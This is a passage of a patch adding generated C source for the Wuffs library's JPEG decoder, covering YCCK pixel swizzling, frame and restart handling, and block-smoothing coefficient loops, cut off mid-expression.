((uint32_t)(self->private_impl.f_components_h[2u]))); ++ v_height2 = (8u * ((uint32_t)(self->private_impl.f_components_v[2u]))); ++ } ++ v_i = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[3u])); ++ v_j = ((uint64_t)(self->private_impl.f_swizzle_immediately_c_offsets[4u])); ++ if ((v_i <= v_j) && (v_j <= 640u)) { ++ v_src3 = wuffs_base__make_slice_u8_ij(self->private_data.f_swizzle_immediately_buffer, v_i, v_j); ++ v_width3 = (8u * ((uint32_t)(self->private_impl.f_components_h[3u]))); ++ v_height3 = (8u * ((uint32_t)(self->private_impl.f_components_v[3u]))); ++ } ++ } else { ++ if ((self->private_impl.f_components_workbuf_offsets[0u] <= self->private_impl.f_components_workbuf_offsets[1u]) && (self->private_impl.f_components_workbuf_offsets[1u] <= ((uint64_t)(a_workbuf.len)))) { ++ v_src0 = wuffs_base__slice_u8__subslice_ij(a_workbuf, ++ self->private_impl.f_components_workbuf_offsets[0u], ++ self->private_impl.f_components_workbuf_offsets[1u]); ++ v_width0 = self->private_impl.f_components_workbuf_widths[0u]; ++ v_height0 = self->private_impl.f_components_workbuf_heights[0u]; ++ } ++ if ((self->private_impl.f_components_workbuf_offsets[1u] <= self->private_impl.f_components_workbuf_offsets[2u]) && (self->private_impl.f_components_workbuf_offsets[2u] <= ((uint64_t)(a_workbuf.len)))) { ++ v_src1 = wuffs_base__slice_u8__subslice_ij(a_workbuf, ++ self->private_impl.f_components_workbuf_offsets[1u], ++ self->private_impl.f_components_workbuf_offsets[2u]); ++ v_width1 = self->private_impl.f_components_workbuf_widths[1u]; ++ v_height1 = self->private_impl.f_components_workbuf_heights[1u]; ++ } ++ if ((self->private_impl.f_components_workbuf_offsets[2u] <= self->private_impl.f_components_workbuf_offsets[3u]) && (self->private_impl.f_components_workbuf_offsets[3u] <= ((uint64_t)(a_workbuf.len)))) { ++ v_src2 = wuffs_base__slice_u8__subslice_ij(a_workbuf, ++ self->private_impl.f_components_workbuf_offsets[2u], ++ self->private_impl.f_components_workbuf_offsets[3u]); ++ v_width2 = self->private_impl.f_components_workbuf_widths[2u]; ++ v_height2 = self->private_impl.f_components_workbuf_heights[2u]; ++ } ++ if ((self->private_impl.f_components_workbuf_offsets[3u] <= self->private_impl.f_components_workbuf_offsets[4u]) && (self->private_impl.f_components_workbuf_offsets[4u] <= ((uint64_t)(a_workbuf.len)))) { ++ v_src3 = wuffs_base__slice_u8__subslice_ij(a_workbuf, ++ self->private_impl.f_components_workbuf_offsets[3u], ++ self->private_impl.f_components_workbuf_offsets[4u]); ++ v_width3 = self->private_impl.f_components_workbuf_widths[3u]; ++ v_height3 = self->private_impl.f_components_workbuf_heights[3u]; ++ } ++ } ++ v_status = wuffs_base__pixel_swizzler__swizzle_ycck(&self->private_impl.f_swizzler, ++ a_dst, ++ wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), ++ (a_x0 & 65535u), ++ wuffs_base__u32__min(a_x1, self->private_impl.f_width), ++ (a_y0 & 65535u), ++ wuffs_base__u32__min(a_y1, self->private_impl.f_height), ++ v_src0, ++ v_src1, ++ v_src2, ++ v_src3, ++ v_width0, ++ v_width1, ++ v_width2, ++ v_width3, ++ v_height0, ++ v_height1, ++ v_height2, ++ v_height3, ++ v_width0, ++ v_width1, ++ v_width2, ++ v_width3, ++ self->private_impl.f_components_h[0u], ++ self->private_impl.f_components_h[1u], ++ self->private_impl.f_components_h[2u], ++ self->private_impl.f_components_h[3u], ++ self->private_impl.f_components_v[0u], ++ self->private_impl.f_components_v[1u], ++ self->private_impl.f_components_v[2u], ++ self->private_impl.f_components_v[3u], ++ self->private_impl.f_is_rgb_or_cmyk, ++ ! self->private_impl.f_use_lower_quality, ++ wuffs_base__make_slice_u8(self->private_data.f_swizzle_ycck_scratch_buffer_2k, 2048)); ++ return wuffs_private_impl__status__ensure_not_a_suspension(v_status); ++} ++ ++// -------- func jpeg.decoder.frame_dirty_rect ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_jpeg__decoder__frame_dirty_rect( ++ const wuffs_jpeg__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_rect_ie_u32(); ++ } ++ ++ return wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height); ++} ++ ++// -------- func jpeg.decoder.num_animation_loops ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_jpeg__decoder__num_animation_loops( ++ const wuffs_jpeg__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return 0u; ++} ++ ++// -------- func jpeg.decoder.num_decoded_frame_configs ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_jpeg__decoder__num_decoded_frame_configs( ++ const wuffs_jpeg__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (self->private_impl.f_call_sequence > 32u) { ++ return 1u; ++ } ++ return 0u; ++} ++ ++// -------- func jpeg.decoder.num_decoded_frames ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_jpeg__decoder__num_decoded_frames( ++ const wuffs_jpeg__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (self->private_impl.f_call_sequence > 64u) { ++ return 1u; ++ } ++ return 0u; ++} ++ ++// -------- func jpeg.decoder.restart_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_jpeg__decoder__restart_frame( ++ wuffs_jpeg__decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ uint32_t v_i = 0; ++ uint32_t v_j = 0; ++ ++ if (self->private_impl.f_call_sequence < 32u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ } ++ if (a_index != 0u) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ self->private_impl.f_call_sequence = 40u; ++ self->private_impl.f_bitstream_is_closed = false; ++ self->private_impl.f_expect_multiple_scans = false; ++ self->private_impl.f_frame_config_io_position = a_io_position; ++ self->private_impl.f_scan_count = 0u; ++ self->private_impl.f_restart_interval = self->private_impl.f_saved_restart_interval; ++ v_i = 0u; ++ while (v_i < 4u) { ++ self->private_impl.f_seen_dqt[v_i] = self->private_impl.f_saved_seen_dqt[v_i]; ++ v_j = 0u; ++ while (v_j < 64u) { ++ self->private_impl.f_quant_tables[v_i][v_j] = self->private_impl.f_saved_quant_tables[v_i][v_j]; ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 4u) { ++ v_j = 0u; ++ while (v_j < 10u) { ++ self->private_impl.f_block_smoothing_lowest_scan_al[v_i][v_j] = 16u; ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 8u) { ++ self->private_impl.f_seen_dht[v_i] = false; ++ v_i += 1u; ++ } ++ return wuffs_base__make_status(NULL); ++} ++ ++// -------- func jpeg.decoder.set_report_metadata ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_jpeg__decoder__set_report_metadata( ++ wuffs_jpeg__decoder* self, ++ uint32_t a_fourcc, ++ bool a_report) { ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func jpeg.decoder.tell_me_more ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_jpeg__decoder__tell_me_more( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 4)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ status = wuffs_base__make_status(wuffs_base__error__no_more_information); ++ goto exit; ++ ++ goto ok; ++ ok: ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func jpeg.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_jpeg__decoder__workbuf_len( ++ const wuffs_jpeg__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ if (self->private_impl.f_use_lower_quality && (self->private_impl.f_sof_marker < 194u)) { ++ return wuffs_base__utility__make_range_ii_u64(0u, self->private_impl.f_components_workbuf_offsets[8u]); ++ } ++ return wuffs_base__utility__make_range_ii_u64(self->private_impl.f_components_workbuf_offsets[8u], self->private_impl.f_components_workbuf_offsets[8u]); ++} ++ ++// -------- func jpeg.decoder.top_left_quants_has_zero ++ ++WUFFS_BASE__GENERATED_C_CODE ++static bool ++wuffs_jpeg__decoder__top_left_quants_has_zero( ++ const wuffs_jpeg__decoder* self, ++ uint32_t a_q) { ++ return ((self->private_impl.f_quant_tables[a_q][0u] == 0u) || ++ (self->private_impl.f_quant_tables[a_q][1u] == 0u) || ++ (self->private_impl.f_quant_tables[a_q][2u] == 0u) || ++ (self->private_impl.f_quant_tables[a_q][3u] == 0u) || ++ (self->private_impl.f_quant_tables[a_q][8u] == 0u) || ++ (self->private_impl.f_quant_tables[a_q][9u] == 0u) || ++ (self->private_impl.f_quant_tables[a_q][10u] == 0u) || ++ (self->private_impl.f_quant_tables[a_q][16u] == 0u) || ++ (self->private_impl.f_quant_tables[a_q][17u] == 0u) || ++ (self->private_impl.f_quant_tables[a_q][24u] == 0u)); ++} ++ ++// -------- func jpeg.decoder.load_mcu_blocks_for_single_component_smooth ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_jpeg__decoder__load_mcu_blocks_for_single_component_smooth( ++ wuffs_jpeg__decoder* self, ++ uint32_t a_mx, ++ uint32_t a_my, ++ wuffs_base__slice_u8 a_workbuf, ++ uint32_t a_csel) { ++ uint64_t v_stride16 = 0; ++ uint64_t v_offset = 0; ++ uint32_t v_dx = 0; ++ uint32_t v_dy = 0; ++ uint32_t v_mx = 0; ++ uint32_t v_my = 0; ++ uint8_t v_q = 0; ++ uint32_t v_q_00 = 0; ++ uint32_t v_q_xy = 0; ++ uint8_t v_al = 0; ++ uint32_t v_scratch = 0; ++ uint32_t v_limit = 0; ++ ++ v_stride16 = ((uint64_t)((self->private_impl.f_components_workbuf_widths[a_csel] * 16u))); ++ v_offset = (self->private_impl.f_components_workbuf_offsets[(a_csel | 4u)] + (((uint64_t)(a_mx)) * 128u) + (((uint64_t)(a_my)) * v_stride16)); ++ if (v_offset <= ((uint64_t)(a_workbuf.len))) { ++ wuffs_private_impl__bulk_load_host_endian(&self->private_data.f_mcu_blocks[0], 1u * (size_t)128u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); ++ } ++ v_dy = 0u; ++ while (v_dy < 5u) { ++ v_my = wuffs_base__u32__min(self->private_impl.f_block_smoothing_my_max_incl, wuffs_base__u32__sat_sub((a_my + v_dy), 2u)); ++ v_dx = 0u; ++ while (v_dx < 5u) { ++ v_mx = wuffs_base__u32__min(self->private_impl.f_block_smoothing_mx_max_incl, wuffs_base__u32__sat_sub((a_mx + v_dx), 2u)); ++ v_offset = (self->private_impl.f_components_workbuf_offsets[(a_csel | 4u)] + (((uint64_t)(v_mx)) * 128u) + (((uint64_t)(v_my)) * v_stride16)); ++ if (v_offset <= ((uint64_t)(a_workbuf.len))) { ++ wuffs_private_impl__bulk_load_host_endian(&self->private_impl.f_block_smoothing_dc_values[v_dy][v_dx], 1u * (size_t)2u, wuffs_base__slice_u8__subslice_i(a_workbuf, v_offset)); ++ } ++ v_dx += 1u; ++ } ++ v_dy += 1u; ++ } ++ v_q = self->private_impl.f_components_tq[a_csel]; ++ v_q_00 = ((uint32_t)(self->private_impl.f_quant_tables[v_q][0u])); ++ if (v_q_00 <= 0u) { ++ return wuffs_base__make_empty_struct(); ++ } ++ if (0u != (16u & ++ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][1u] & ++ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][2u] & ++ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][3u] & ++ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][4u] & ++ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][5u] & ++ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][6u] & ++ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][7u] & ++ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][8u] & ++ self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][9u])) { ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(152u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(42u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(6u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(4294967288u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(4294967290u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + 128u)) / 256u))); ++ } else { ++ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + 128u)) / 256u))); ++ } ++ self->private_data.f_mcu_blocks[0u][0u] = ((uint16_t)(v_scratch)); ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][1u])); ++ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][1u] == 0u)) { ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(38u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(4294967258u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } else { ++ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } ++ self->private_data.f_mcu_blocks[0u][1u] = ((uint16_t)(v_scratch)); ++ } ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][2u])); ++ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][2u] == 0u)) { ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(4294967282u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } else { ++ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } ++ self->private_data.f_mcu_blocks[0u][2u] = ((uint16_t)(v_scratch)); ++ } ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][3u])); ++ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][3u] == 0u)) { ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(0u * 